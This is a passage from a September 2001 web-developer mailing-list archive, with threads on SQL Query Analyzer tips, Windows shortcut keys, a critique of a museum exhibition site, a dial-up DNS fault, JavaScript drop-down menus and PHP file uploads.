while you are prototyping the solution for your client.

I like to use Query Analyzer to create them. It color codes all the TSQL
statements and reserved words, and can check your code without executing it.
It also has a host of nifty tools which can help you analyze your query by
reporting the query plan and the execution time, etc. Finally, a well-named
tool from MS! (Think: do you commonly write only one word with Word?)

</tip>

<tip type="SQL Server">
Using Query Analyzer?

Here's one that changed my life:
If you select only a portion of the SQL you are crafting with the cursor,
and press F5 or similarly execute it, only that portion is executed!

Now I pour all my test coding scraps into one window and select only the one
I need!

<caution>
Remember to select the text before the execute, especially if you have
DELETE or <gulp!> DROP statements! I generally comment these out (double
hyphen [--] before the line, or /*comment*/) just in case... then I can
still select the text without the comment delimiters and execute!
</caution>
</tip>

<rory disposition="Ahhh... the bittersweetness of Friday!" alt="8}"/>



From Rory.Plaire at wahchang.com  Fri Sep 21 14:39:22 2001
From: Rory.Plaire at wahchang.com (Rory.Plaire at wahchang.com)
Date: Fri Sep 21 14:39:22 2001
Subject: assumptions regarding computer competency of those who don't 
	use certain keys for navigation (was Re: [thelist] site critique please)
Message-ID: <41C0B6AB2A57D3119ED800A0C9EA3920034AD198@arnold.bedrock.com>

| how that's
| different from Windows + M to 'minimize all' I'll let you 
| know; it's just
| easier for me to remember.

Win + M minimizes but does not put the focus on the desktop.

Win + D minimizes and _does_ put the focus on the desktop.

<rory disposition="Thanks Ryan!" alt=";)"/>



From tonyc at boldfish.co.uk  Fri Sep 21 14:48:21 2001
From: tonyc at boldfish.co.uk (Tony Crockford)
Date: Fri Sep 21 14:48:21 2001
Subject: assumptions regarding computer competency of those who don't use certain keys for navigation (was Re: [thelist] site critique please)
In-Reply-To: <005301c142d4$481f10e0$aa01000a@HEISENBERG>
Message-ID: <LPBBLLOGKNBIKOOOOAJAEENEFMAA.tonyc@boldfish.co.uk>

> Windows + D takes you to the desktop. [and when I figure out
> how that's
> different from Windows + M to 'minimize all' I'll let you
> know; it's just
> easier for me to remember.

Windows + D works as a toggle - Press once to go to desktop, press again
to return to your active program, window + M doesn't toggle.




From sgd at ti3.com  Fri Sep 21 14:50:28 2001
From: sgd at ti3.com (Scott Dexter)
Date: Fri Sep 21 14:50:28 2001
Subject: assumptions regarding computer competency of those who don't use certain keys for navigation (was Re: [thelist] site critique please)
Message-ID: <AE9BEBC586A48B4BA47843C4148B82511CFC4E@apollo.ti3.com>

 
> Windows + D takes you to the desktop. [and when I figure out 
> how that's
> different from Windows + M to 'minimize all' I'll let you 
> know; it's just
> easier for me to remember.

welp, when I did Win+D, even WinAmp was gone from the desktop, and it is
a toggle (hit it again to bring everything back), whereas Win+M is the
lowly, less functional 'Minimize all'

=)
sgd



From MMcAtee at philamuseum.org  Fri Sep 21 15:06:42 2001
From: MMcAtee at philamuseum.org (McAtee, Malcolm)
Date: Fri Sep 21 15:06:42 2001
Subject: [thelist] Site critique
Message-ID: <E40026A94B88D511B1D000508BC7413326B89F@MAILHOST>

have at it list-folk.

TIA Malcolm

http://www.philamuseum.org/exhibitions/exhibits/eakins/launch.html






//---------------//
Malcolm J. Mcatee
Web Designer
Philadelphia Museum of Art
215-684-7748
mmcatee at philamuseum.org
//---------------//



From Rory.Plaire at wahchang.com  Fri Sep 21 15:09:51 2001
From: Rory.Plaire at wahchang.com (Rory.Plaire at wahchang.com)
Date: Fri Sep 21 15:09:51 2001
Subject: assumptions regarding computer competency of those who don't 
	 use certain keys for navigation (was Re: [thelist] site critique please)
Message-ID: <41C0B6AB2A57D3119ED800A0C9EA3920034AD199@arnold.bedrock.com>

| Win + M minimizes but does not put the focus on the desktop.
| 
| Win + D minimizes and _does_ put the focus on the desktop.
| 

My statement is complete baloney, at least on Win 2k.

Science wins again.

I decided to investigate reality for my own self. It's a sort of religious
mandate for me. 8)

Sorry, Ry. 8/

|welp, when I did Win+D, even WinAmp was gone from the desktop, and it
|is a toggle (hit it again to bring everything back), whereas Win+M is 
|the lowly, less functional 'Minimize all'

But, on the bright side, Win+M then Win+D and another Win+D does the same
thing as Win+D, Win+D. 8)

To be safe, as I no longer see the shoreline of the land of On Topic, here's
a tip:

<tip type="Really, I mean really, understanding your problem domain">

Talk to the math people.

Generally, automated systems either implement, or account for, things or
processes which are worked out in mathematics somewhere.

Find their books and delve in. There are probably ways to generalize the
problem statement or define the scope of the project which fall cleanly
within the boundaries set by the principles which the whole practice or
industry is established upon.

But, don't neglect other processes! The processing of knowledge, like the
creation or flow of documents, isn't so neat and tidy. In this case, you
have to know how people do it or create a way that people want to do it.

</tip>

<rory disposition="another myth bites the dust" alt="8)"/>



From nate at vicksburgcollective.com  Fri Sep 21 15:15:30 2001
From: nate at vicksburgcollective.com (nate koechley)
Date: Fri Sep 21 15:15:30 2001
Subject: [thelist] Site critique
In-Reply-To: <E40026A94B88D511B1D000508BC7413326B89F@MAILHOST>
Message-ID: <5.1.0.14.0.20010921130713.02c107b8@pop3.vicksburgcollective.com>

looks nice.

first suggestion: consider putting a "back to top" button at the bottom of 
the scrolling text. in addition to aiding navigation, it's a great visual 
clue to the user that they've reached the end of the text. (otherwise, 
scrolling text is sort of confusing, because you can't see how much there 
is, or where it ends for sure.)

(for the back to top script, you can use the same up-scrolling function, 
but pass in a faster speed to suit your tastes)

also, i like that you have ALT tags on the scroll buttons, but you might 
consider putting that text in the status bar, too. right now, you can just 
see the javascript calls down there...  i usually don't like messign with 
the status bar -- thinking it's better to see the link down there -- but in 
this case you don't have a visible link, so a message might be a nice touch.

other than that, it's quite nice.

cheers,
.nek

At 04:07 PM 9/21/2001 -0300, you wrote:
>TIA Malcolm
>http://www.philamuseum.org/exhibitions/exhibits/eakins/launch.html




From crsaila at yahoo.ca  Fri Sep 21 15:22:16 2001
From: crsaila at yahoo.ca (Craig Saila)
Date: Fri Sep 21 15:22:16 2001
Subject: [thelist] Site critique
References: <E40026A94B88D511B1D000508BC7413326B89F@MAILHOST>
Message-ID: <3BABA1C7.4010809@yahoo.ca>

McAtee, Malcolm wrote:

> have at it list-folk.
> http://www.philamuseum.org/exhibitions/exhibits/eakins/launch.html

I really like it, here are some initial impressions (Mozilla 0.9.4/Win2K):

- great typography and design

- excellent cropping on the images (kept the context of it, as opposed 
to just shrinking it)

- the enlarge function works very effectively going up, but its not 
clear what should happen to reduce the image again (clicking the image 
or the year accomplish is it, but would there be some way to make it 
clearer?)

- in "1877", I noticed some text had a red background. Not sure why (it 
has a class correction, is this a testing thing?)

- perhaps the graphic name "Thomas Eakins: American Realist" could link 
back to the intro (or will it link to the main site?)

- not a big fan of the dHTML scrollbars (can't control the speed of the 
scrolling, not able to see how long the entry is, and in some cases it's 
not even clear there is more to see [maybe you can highlight the arrow 
if there is more above or below]) -- is there a reason you choose not 
use the default scrollbars?

- in some cases there's references to other years (e.g., in "1888": 
"...in the summer of 1887...."), why are these not links to those entries?

- also, you might want to call the style and scripting elements 
externally to reduce the page sizes and speed-up loading times.

-- 
Cheers,

Craig Saila
------------------------------------------
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From Anthony at Baratta.com  Fri Sep 21 15:23:18 2001
From: Anthony at Baratta.com (Anthony Baratta)
Date: Fri Sep 21 15:23:18 2001
Subject: [thelist] Congrats to evolt.org....
Message-ID: <5.1.0.14.2.20010921132035.01b6c420@baratta.com>

I saw this in this morning's ApacheWeekly....


http://evolt.org/article/rating/18/15126/

The administrators at evolt.org are "Using Apache to stop bad robots". In a 
short article they show how they capture robots that not only ignore the 
robots.txt file, but deliberately try to index files they are told not to.

http://evolt.org/article/Search_Engine_Friendly_SSI_Image_Gallery/20/15882/

Morbus Iff develops a "Search Engine Friendly SSI Image Gallery" in his 
article on evolt.org. The article shows how to create a dynamic image 
gallery, using only the features built into a core distribution of Apache.

;-)
---
Anthony Baratta
President
Keyboard Jockeys

"Conformity is the refuge of the unimaginative."




From ray at opengrid.com  Fri Sep 21 15:30:35 2001
From: ray at opengrid.com (Ray Hill)
Date: Fri Sep 21 15:30:35 2001
Subject: [thelist] Site critique
Message-ID: <897D2906DD5DD411B17500B0D03D9FB2C70032@directmail.opengrid.com>

Overall it's pretty nice, but there are a few usability things that I'd
change if I were you:

1) Don't make people go to one page just to generate the site in a popup
window.  Let then get the page full-screen in the main window.  Your
framesets already make the page format wonderfully in a full screen setting,
so there's no real reason to force the popup.

2) The dates along the bottom are really small.  If you had only the dates
on that line you could make them a bit larger so they're easier to read, and
then have "Introduction" on the next line.

3) You should change the color of the currently selected date, so that
people know where they are in the system.  Just call a JavaScript function
onclick that swaps out the timeline image to a version with the selected
date highlighted.

4) I would *really* suggest using the standard browser scrollbar instead of
the fancy JavaScript one, for several reasons.  First off, people are so
used to it that it's a no-brainer that it means the page is scrollable,
whereas your custom implementation takes a while to notice and isn't as
intuitive.  Second, your version doesn't allow alternate methods of
scrolling down, such as the scolly thing on the mouse, or highlighting the
text and dragging down.  You can use CSS to pretty up the default scroll
bar, of course, but it really is better to use it instead of a JS
alternative.

5) When an image is full-screen, you need to tell the user that they can
click it to minimize again.  Sure, they'll figure it out eventually, but
it's best to avoid the confusion in the first place.  Putting the notice in
the alt tag, after the content bit and a carriage return or two, would
probably be enough. But it would probably make more sense to put the
"enlarge+" bit above the image, so that a matching "minimize-" link can be
shown in the same place when the image is maximized.


--ray




-----Original Message-----
From: McAtee, Malcolm [mailto:MMcAtee at philamuseum.org]
Sent: Friday, September 21, 2001 12:07 PM
To: thelist at lists.evolt.org
Subject: [thelist] Site critique


have at it list-folk.

TIA Malcolm

http://www.philamuseum.org/exhibitions/exhibits/eakins/launch.html






//---------------//
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Web Designer
Philadelphia Museum of Art
215-684-7748
mmcatee at philamuseum.org
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From webguru at vsnl.net  Fri Sep 21 15:30:51 2001
From: webguru at vsnl.net (Madhu Menon)
Date: Fri Sep 21 15:30:51 2001
Subject: [thelist] Net connection problems
Message-ID: <5.1.0.14.2.20010922015530.00ac4780@mail.vsnl.net>

Hi guys.

I don't know if any of you in other countries (i.e., not India) have faced 
this problem, but here goes anyway.

I'm facing a problem here with my Net connection (56K modem). I dial in, 
check my mail, etc., start browsing, but about 2-3 minutes later, Internet 
Explorer stops loading sites. I thought it was a browser problem, but it's 
not. The DNS lookup fails, I can't ping, and the only way to get on the Net 
is to disconnect and try again, which again spawns the same cycle. My Net 
connections are restricted to 2 minutes at a time. In fact, I'm squeezing 
this mail out in my the short window that I have.

One of my friends here has a connection with another ISP and he too is 
facing the same problem. This has been going on since last night. Any idea 
what could be happening? Do you think this could have anything to do with 
that cable connection problem to Asia? (though the India to US cable is 
different, I think) 
(http://singapore.cnet.com/news/communications/story/0,2000027545,38016472,00.htm)?

Have any of you faced the same problem with your ISP? And what could be the 
cause? Anything I should try? Any public DNS servers I can specify instead 
of my ISP's?

Madhu


<<<   *   >>>
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User Experience Consultant
e-mail: webguru at vsnl.net




From MMcAtee at philamuseum.org  Fri Sep 21 15:35:52 2001
From: MMcAtee at philamuseum.org (McAtee, Malcolm)
Date: Fri Sep 21 15:35:52 2001
Subject: [thelist] Site critique
Message-ID: <E40026A94B88D511B1D000508BC7413326B8ED@MAILHOST>


//---------------//
Malcolm J. Mcatee
Web Designer
Philadelphia Museum of Art
215-684-7748
mmcatee at philamuseum.org
//---------------//

-----Original Message-----
From: Craig Saila [mailto:crsaila at yahoo.ca]
Sent: Friday, September 21, 2001 1:24 PM
To: thelist at lists.evolt.org
Subject: Re: [thelist] Site critique


McAtee, Malcolm wrote:

> have at it list-folk.
> http://www.philamuseum.org/exhibitions/exhibits/eakins/launch.html

I really like it, here are some initial impressions (Mozilla 0.9.4/Win2K):

- great typography and design

- excellent cropping on the images (kept the context of it, as opposed 
to just shrinking it)

- the enlarge function works very effectively going up, but its not 
clear what should happen to reduce the image again (clicking the image 
or the year accomplish is it, but would there be some way to make it 
clearer?)


========================================
I thought perhaps a small black rectangle in the lower right hand side of
the full picture w/
detail -  might work but I hate to weaken the integrity of the artwork.
========================================


- in "1877", I noticed some text had a red background. Not sure why (it 
has a class correction, is this a testing thing?)

========================================
This is still working text... class correction
========================================




- perhaps the graphic name "Thomas Eakins: American Realist" could link 
back to the intro (or will it link to the main site?)

- not a big fan of the dHTML scrollbars (can't control the speed of the 
scrolling, not able to see how long the entry is, and in some cases it's 
not even clear there is more to see [maybe you can highlight the arrow 
if there is more above or below]) -- is there a reason you choose not 
use the default scrollbars?
========================================
I did originally present these w/ the default scrollbars but they were
referred to as "ugly".
It is an Art Museum so aesthetics often take precedence over functionality.
========================================

- in some cases there's references to other years (e.g., in "1888": 
"...in the summer of 1887...."), why are these not links to those entries?
========================================
Good Idea. I do in fact plan to make links to more detailed images where
appropriate.
========================================

- also, you might want to call the style and scripting elements 
externally to reduce the page sizes and speed-up loading times.

========================================
Another good idea -- Thanks for the input!

-- 
Cheers,

Craig Saila
------------------------------------------
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From djc at starkmedia.com  Fri Sep 21 15:39:59 2001
From: djc at starkmedia.com (Daniel J. Cody)
Date: Fri Sep 21 15:39:59 2001
Subject: [thelist] Congrats to evolt.org....
References: <5.1.0.14.2.20010921132035.01b6c420@baratta.com>
Message-ID: <3BABA2B9.2060702@starkmedia.com>

And a *big* high five to morbus for submitting those to apacheweek in 
the first place :)

.djc.

Anthony Baratta wrote:

> I saw this in this morning's ApacheWeekly....
> 
> 
> http://evolt.org/article/rating/18/15126/
> 
> The administrators at evolt.org are "Using Apache to stop bad robots". 
> In a short article they show how they capture robots that not only 
> ignore the robots.txt file, but deliberately try to index files they are 
> told not to.
> 
> http://evolt.org/article/Search_Engine_Friendly_SSI_Image_Gallery/20/15882/
> 
> Morbus Iff develops a "Search Engine Friendly SSI Image Gallery" in his 
> article on evolt.org. The article shows how to create a dynamic image 
> gallery, using only the features built into a core distribution of Apache.





From alfa at chromatophore.com  Fri Sep 21 16:03:51 2001
From: alfa at chromatophore.com (am)
Date: Fri Sep 21 16:03:51 2001
Subject: [thelist] Netscape and Windows not cooperating HELP!!
Message-ID: <B7D0F95B.8A5C%alfa@chromatophore.com>

fellow listees
Im getting closer to the culprit behind my site woes
but the solution still escapes me
the site is here

http://www.dgcbc.com

and the worst issues to date occur only in
windows NT Netscape Navigator 4.73

This browser is ruining the image layout inside a layer I have absolutely
positioned below the left nav menu
the problem doesnt show up in windows 98 or 95 or 2000
running ns 4.x.x

if anyone can give me any insight into what might cause this problem and how
I might tighten up my (d)html Id really appreciate the feedback

thank you all

-- am





From merlene_blacha at sympatico.ca  Fri Sep 21 16:20:23 2001
From: merlene_blacha at sympatico.ca (Merlene Blacha)
Date: Fri Sep 21 16:20:23 2001
Subject: [thelist] Help with javascript menu please?
Message-ID: <000501c142e0$00e994a0$a67ba8c0@merlene>



Hi there,

I'm designing a website for a client that wants a javascript  menu. I'm one
of those cut & paste people as far as .js is concerned and I'm lost as to
what to do next. I have a menu scrip ( view at
http://madwebink.com/test/test2.shtml ) on the top of the page that opens
nice, does a nice one level drop down that I'm really happy with but the
site will require a second and possibly a third level drop down and I
haven't a clue how to add this to the menu. I tried a little bit of hacking
'n' slashing with it with no results.

Basically what will be required is:

Main menu item >
list of several options >
list of several more options >
options that will take you to the proper page.

As this is the prototype it's really only looking reliably good in IE 5.x
and up, Netscape/Mozilla are treating the CSS unpredicably but I do intend
to fix that once I get over this .js obstacle.

Any advice/help will be greatly appreciated... just keep in mind that I'm a
cut & paste person hehehe.

Merlene Blacha

<tip type="special characters" author="Merlene Blacha">
Instead of using the ugly " quotation use proper open and closing quotes:
opening double quote &#147
closing double quote &#148
</tip>




From webguru at vsnl.net  Fri Sep 21 16:21:41 2001
From: webguru at vsnl.net (Madhu Menon)
Date: Fri Sep 21 16:21:41 2001
Subject: [thelist] RE: Net connection problems
Message-ID: <5.1.0.14.2.20010922023840.00a616c0@mail.vsnl.net>

This gets weirder. Apparently, Google is the only site I can access. I can 
ping Google, search it, but other than, NO other site comes through. I'm 
wondering if there's something wrong with my ISP (vsnl.net - try reaching 
http://Internet.vsnl.net.in) DNS servers. But if that were so, I shouldn't 
be able to access any sites from the moment my connection is made :-/

Weird. I tried an NSLookup (BTW, I'm running Win2K Pro with ZoneAlarm) and 
this is what I got.

 > nslookup www.yahoo.com
Server:  www.yahoo.akadns.net
Addresses:  216.115.105.2, 204.71.202.160
           216.115.102.79, 216.115.102.80
Aliases:  www.yahoo.com

DNS request timed out.
     timeout was 2 seconds.
*** Request to www.yahoo.com timed-out


>I'm facing a problem here with my Net connection (56K modem). I dial in, 
>check my mail, etc., start browsing, but about 2-3 minutes later, Internet 
>Explorer stops loading sites. I thought it was a browser problem, but it's 
>not. The DNS lookup fails, I can't ping, and the only way to get on the 
>Net is to disconnect and try again, which again spawns the same cycle. My 
>Net connections are restricted to 2 minutes at a time. In fact, I'm 
>squeezing this mail out in my the short window that I have.

Madhu


<<<   *   >>>
Madhu Menon
User Experience Consultant
e-mail: webguru at vsnl.net




From john at neoncowboy.com  Fri Sep 21 16:35:32 2001
From: john at neoncowboy.com (john corry)
Date: Fri Sep 21 16:35:32 2001
Subject: [thelist] PHP upload files
In-Reply-To: <B7D0F95B.8A5C%alfa@chromatophore.com>
Message-ID: <CGEAKIJJHPCINCPBHCDAAECAECAA.john@neoncowboy.com>

I'm working on some scripts on my workstation/development machine (IIS 5,
Win 2K, PHP 4.0.5) and can't get my form to accept a file as input. The
symptoms are:
1) selecting a file from a directory mapped as a source directory to a IIS
virtual folder: the file is opened for reading.
2) selecting a file from anywhere else in my computers dir structure: unable
to open the file

I don't know that much about IIS, but I think that has to do with it...The
PHP config options that look like they may play a role here are:
ALLUSERSPROFILE C:\Documents and Settings\All Users.WINNT
USERPROFILE C:\Documents and Settings\Default User.WINNT

Any thoughts? I haven't tried it on the server yet...MySQL is broken on the
server and the app doesn't let you get that far without using the DB...

thanks,
John




From nate at vicksburgcollective.com  Fri Sep 21 16:39:42 2001
From: nate at vicksburgcollective.com (nate koechley)
Date: Fri Sep 21 16:39:42 2001
Subject: [thelist] Help with javascript menu please?
In-Reply-To: <000501c142e0$00e994a0$a67ba8c0@merlene>
Message-ID: <5.1.0.14.0.20010921143422.02db47a8@pop3.vicksburgcollective.com>

I'm not sure what you're working with at this point, but this script does 
as many levels as you want.

it's pretty big (20 - 30k), but it's external (and therefore cache-able). 
they've got it pretty much working cross-everything.

http://www.webreference.com/dhtml/hiermenus/

hth,
nate

{ps: i'm not affiliated with them}


At 02:52 PM 9/21/2001 -0400, you wrote:

>I'm designing a website for a client that wants a javascript  menu. <snip> 
>will require a second and possibly a third level drop down  <snip>





From jmclark at multiservice.com  Fri Sep 21 16:59:42 2001
From: jmclark at multiservice.com (Jeana Clark)
Date: Fri Sep 21 16:59:42 2001
Subject: [thelist] Help with javascript menu please?
In-Reply-To: <5.1.0.14.0.20010921143422.02db47a8@pop3.vicksburgcollective.com>
Message-ID: <002f01c142e8$936c9fe0$b2341eac@multiservice.com>

> http://www.webreference.com/dhtml/hiermenus/

This is great and all... And actually I found it last night too looking for
something similar.  Except.... if a user has javascript turned off, you
totally loose all sense of navigation.  As in... if javascript is not
decected.. nothing loads.  Would there be a way to modify the script so that
The navagation with out the "floating layers" will at least appear when
javascript is turned off?


~*~*~*~*~*~*~*~*~

Jeana Clark
Metropolis Gameport Systems
http://www.Metropolis.com
8650 College Blvd.
Overland Park, KS 66210





From andrew at thepander.co.nz  Fri Sep 21 17:15:30 2001
From: andrew at thepander.co.nz (Andrew Forsberg)
Date: Fri Sep 21 17:15:30 2001
Subject: [thelist] PHP upload files
In-Reply-To: <CGEAKIJJHPCINCPBHCDAAECAECAA.john@neoncowboy.com>
References: <CGEAKIJJHPCINCPBHCDAAECAECAA.john@neoncowboy.com>
Message-ID: <p05100303b7d169aa5e00@[192.168.1.5]>

Sorry, I'm a little confused by the situation: are you trying to 
allow someone to edit a file on the server? or upload a file to the 
server for editing?

Either way, it looks a bit like php is recognizing that you're 
opening a file local to the server, and preventing you from accessing 
anything outside a directory specified by the open_basedir directive 
in the php.ini file 
(http://www.php.net/manual/en/html/configuration.html). Although, by 
default, open_basedir is configured to allow php to access anywhere 
(as long as it has appropriate filesystem permissions).

I don't know jack about IIS, you're probably right that it's causing 
the trouble, but the first thing I'd check in this case would be the 
php.ini file.

Best
Andrew



>I'm working on some scripts on my workstation/development machine (IIS 5,
>Win 2K, PHP 4.0.5) and can't get my form to accept a file as input. The
>symptoms are:
>1) selecting a file from a directory mapped as a source directory to a IIS
>virtual folder: the file is opened for reading.
>2) selecting a file from anywhere else in my computers dir structure: unable
>to open the file
>
>I don't know that much about IIS, but I think that has to do with it...The
>PHP config options that look like they may play a role here are:
>ALLUSERSPROFILE C:\Documents and Settings\All Users.WINNT
>USERPROFILE C:\Documents and Settings\Default User.WINNT
>
>Any thoughts? I haven't tried it on the server yet...MySQL is broken on the
>server and the app doesn't let you get that far without using the DB...
>
>thanks,
>John

-- 
Andrew Forsberg
---
the pander - http://thepander.co.nz/
uberNET - http://uber.net.nz/



From richard.bennett at skynet.be  Fri Sep 21 17:21:06 2001
From: richard.bennett at skynet.be (Richard Bennett)
Date: Fri Sep 21 17:21:06 2001
Subject: [thelist] RE: Net connection problems
References: <5.1.0.14.2.20010922023840.00a616c0@mail.vsnl.net>
Message-ID: <0d8c01c1732e$1b5f8820$0100a8c0@wwwv7zwbf035xj>

I had a similar problem last week, and solved it by setting the "use proxy
server " option in IE's settings.
which proxy server you have to set you have to check on your ISP's website.
Mine was : proxy.skynet.be

Richard.

----- Original Message -----
From: "Madhu Menon" <webguru at vsnl.net>
To: <thelist at lists.evolt.org>
Sent: Friday, September 21, 2001 1:10 PM
Subject: [thelist] RE: Net connection problems


> This gets weirder. Apparently, Google is the only site I can access. I can
> ping Google, search it, but other than, NO other site comes through. I'm
> wondering if there's something wrong with my ISP (vsnl.net - try reaching
> http://Internet.vsnl.net.in) DNS servers. But if that were so, I shouldn't
> be able to access any sites from the moment my connection is made :-/
>
> Weird. I tried an NSLookup (BTW, I'm running Win2K Pro with ZoneAlarm) and
> this is what I got.
>
>  > nslookup www.yahoo.com
> Server:  www.yahoo.akadns.net
> Addresses:  216.115.105.2, 204.71.202.160
>            216.115.102.79, 216.115.102.80
> Aliases:  www.yahoo.com
>
> DNS request timed out.
>      timeout was 2 seconds.
> *** Request to www.yahoo.com timed-out
>
>
> >I'm facing a problem here with my Net connection (56K modem). I dial in,
> >check my mail, etc., start browsing, but about 2-3 minutes later,
Internet
> >Explorer stops loading sites. I thought it was a browser problem, but
it's
> >not. The DNS lookup fails, I can't ping, and the only way to get on the
> >Net is to disconnect and try again, which again spawns the same cycle. My
> >Net connections are restricted to 2 minutes at a time. In fact, I'm
> >squeezing this mail out in my the short window that I have.
>
> Madhu
>
>
> <<<   *   >>>
> Madhu Menon
> User Experience Consultant
> e-mail: webguru at vsnl.net
>
>
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From nonzero at well.com  Fri Sep 21 17:27:11 2001
From: nonzero at well.com (Kevin D. White)
Date: Fri Sep 21 17:27:11 2001
Subject: [thelist] Help with javascript menu please?
References: <002f01c142e8$936c9fe0$b2341eac@multiservice.com>
Message-ID: <015f01c142ed$1ed7dc30$a5a931d0@marchfirstslc.com>

The <noscript></noscript> tag would do this.
----- Original Message -----
From: "Jeana Clark" <jmclark at multiservice.com>
To: <thelist at lists.evolt.org>
Sent: 2001,September,Friday 15.58
Subject: RE: [thelist] Help with javascript menu please?


> > http://www.webreference.com/dhtml/hiermenus/
>
> This is great and all... And actually I found it last night too looking
for
> something similar.  Except.... if a user has javascript turned off, you
> totally loose all sense of navigation.  As in... if javascript is not
> decected.. nothing loads.  Would there be a way to modify the script so
that
> The navagation with out the "floating layers" will at least appear when
> javascript is turned off?
>
>
> ~*~*~*~*~*~*~*~*~
>
> Jeana Clark
> Metropolis Gameport Systems
> http://www.Metropolis.com
> 8650 College Blvd.
> Overland Park, KS 66210
>
>
>
> ---------------------------------------
> For unsubscribe and other options, including
> the Tip Harvester and archive of TheList go to:
> http://lists.evolt.org Workers of the Web, evolt !
>




From john at neoncowboy.com  Fri Sep 21 17:33:49 2001
From: john at neoncowboy.com (john corry)
Date: Fri Sep 21 17:33:49 2001
Subject: [thelist] PHP upload files
In-Reply-To: <p05100303b7d169aa5e00@[192.168.1.5]>
Message-ID: <CGEAKIJJHPCINCPBHCDAAECCECAA.john@neoncowboy.com>

> Sorry, I'm a little confused by the situation: are you trying to
> allow someone to edit a file on the server? or upload a file to the
> server for editing?

I'm trying to allow usrs to upload image files from their client to the site
with an <input type="file" name="photo"> in my form.

When I test it, the script that this form's action attribute uses fails
opening the file. GetImageSize or copy(), both fail if the input file is not
a file from one of the 'virtual directories' on my machine. Like, if I
choose an image from one of the other sites I work on, my functions work;
but if I choose an image from 'My Documents', the functions fail.

It looks like its time to take development of this to the server...

thanks,
John





From g1notami at zoominternet.net  Fri Sep 21 17:44:57 2001
From: g1notami at zoominternet.net (D.Bruce Saurer)
Date: Fri Sep 21 17:44:57 2001
Subject: assumptions regarding computer competency of those who don't use certain keys for navigation (was Re: [thelist] site critique please)
References: <LPBBLLOGKNBIKOOOOAJAEENEFMAA.tonyc@boldfish.co.uk>
Message-ID: <009d01c142ef$38b83da0$657ba8c0@notami>

> > Windows + D takes you to the desktop. [and when I figure out
> > how that's
> > different from Windows + M to 'minimize all' I'll let you
> > know; it's just
> > easier for me to remember.
> 
> Windows + D works as a toggle - Press once to go to desktop, press again
> to return to your active program, window + M doesn't toggle.

ah...but windows+M; then windows+shift+M does!

Bruce
g1notami at zoominternet.net





From joshua at alphashop.net  Fri Sep 21 17:47:28 2001
From: joshua at alphashop.net (Joshua Olson)
Date: Fri Sep 21 17:47:28 2001
Subject: assumptions regarding computer competency of those who don't use certain keys for navigation (was Re: [thelist] site critique please)
References: <LPBBLLOGKNBIKOOOOAJAEENEFMAA.tonyc@boldfish.co.uk> <009d01c142ef$38b83da0$657ba8c0@notami>
Message-ID: <04e601c142f0$6f19f180$a600a8c0@mrtnz1.ga.home.com>

Thanks Bruce.

Very nice.  I was wondering about that.  Windows+D does not work on my
machine.  Any ideas?

-joshua

----- Original Message -----
From: "D.Bruce Saurer" <g1notami at zoominternet.net>
Subject: Re: assumptions regarding computer competency of those who don't
use certain keys for navigation (was Re: [thelist] site critique please)


: > > Windows + D takes you to the desktop. [and when I figure out
: > > how that's
: > > different from Windows + M to 'minimize all' I'll let you
: > > know; it's just
: > > easier for me to remember.
: >
: > Windows + D works as a toggle - Press once to go to desktop, press again
: > to return to your active program, window + M doesn't toggle.
:
: ah...but windows+M; then windows+shift+M does!
:
: Bruce
: g1notami at zoominternet.net





From jmclark at multiservice.com  Fri Sep 21 17:55:03 2001
From: jmclark at multiservice.com (Jeana Clark)
Date: Fri Sep 21 17:55:03 2001
Subject: [thelist] Help with javascript menu please?
In-Reply-To: <015f01c142ed$1ed7dc30$a5a931d0@marchfirstslc.com>
Message-ID: <003f01c142f0$4d660380$b2341eac@multiservice.com>

OH! Duh.

So I could simply paste the basic Navigation in between the
<noscript></noscript> tags and be on my merry way?

yippeeee...

<tip type="wrist and body health">
it's friday (YAY!)  but we've all had a very long week.. emotionally.. and
probably well, physically as we sit behind our glowing boxes coding,
designing, hacking...  Take a look at evolt's own Coder's Health Tips:
Stretching
<http://www.evolt.org/article/Coder_s_Health_Tips_Stretching/25/745/index.ht
ml>

and have a fabulous weekend!
</tip>

-j

~*~*~*~*~*~*~*~*~

Jeana Clark
Metropolis Gameport Systems
http://www.Metropolis.com
8650 College Blvd.
Overland Park, KS 66210


> -----Original Message-----
> From: thelist-admin at lists.evolt.org
> [mailto:thelist-admin at lists.evolt.org]On Behalf Of Kevin D. White
> Sent: Friday, September 21, 2001 5:31 PM
> To: thelist at lists.evolt.org
> Subject: Re: [thelist] Help with javascript menu please?
>
>
> The <noscript></noscript> tag would do this.
> ----- Original Message -----
> From: "Jeana Clark" <jmclark at multiservice.com>
> To: <thelist at lists.evolt.org>
> Sent: 2001,September,Friday 15.58
> Subject: RE: [thelist] Help with javascript menu please?
>
>
> > > http://www.webreference.com/dhtml/hiermenus/
> >
> > This is great and all... And actually I found it last night too looking
> for
> > something similar.  Except.... if a user has javascript turned off, you
> > totally loose all sense of navigation.  As in... if javascript is not
> > decected.. nothing loads.  Would there be a way to modify the script so
> that
> > The navagation with out the "floating layers" will at least appear when
> > javascript is turned off?
> >
> >
> > ~*~*~*~*~*~*~*~*~
> >
> > Jeana Clark
> > Metropolis Gameport Systems
> > http://www.Metropolis.com
> > 8650 College Blvd.
> > Overland Park, KS 66210
> >
> >
> >
> > ---------------------------------------
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> > the Tip Harvester and archive of TheList go to:
> > http://lists.evolt.org Workers of the Web, evolt !
> >
>
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From travis at treevis.com  Fri Sep 21 18:15:32 2001
From: travis at treevis.com (travis forden)
Date: Fri Sep 21 18:15:32 2001
Subject: [thelist] Congrats to evolt.org....
In-Reply-To: <5.1.0.14.2.20010921132035.01b6c420@baratta.com>
Message-ID: <5.1.0.14.0.20010921191023.00a1ca20@treevis.com>

Hi.

How does all this work if I am not the server administrator for my site? I use a hosting company with virtual hosting on an apache server on a linux box. Is it a matter of using .htaccess? In the comments of the first article, ironclad suggests using a mod_rewrite and CGI to record the spiderts IP address immediately. If I don't have access to the server's config files, can I still use these techniques?

travis,
a newbie to apache


At 04:23 pm 9/21/01, you wrote:
>I saw this in this morning's ApacheWeekly....
>
>
>http://evolt.org/article/rating/18/15126/
>
>The administrators at evolt.org are "Using Apache to stop bad robots". In a short article they show how they capture robots that not only ignore the robots.txt file, but deliberately try to index files they are told not to.
>
>http://evolt.org/article/Search_Engine_Friendly_SSI_Image_Gallery/20/15882/
>
>Morbus Iff develops a "Search Engine Friendly SSI Image Gallery" in his article on evolt.org. The article shows how to create a dynamic image gallery, using only the features built into a core distribution of Apache.
>
>;-)
>---
>Anthony Baratta




From g1notami at zoominternet.net  Fri Sep 21 18:22:56 2001
From: g1notami at zoominternet.net (D.Bruce Saurer)
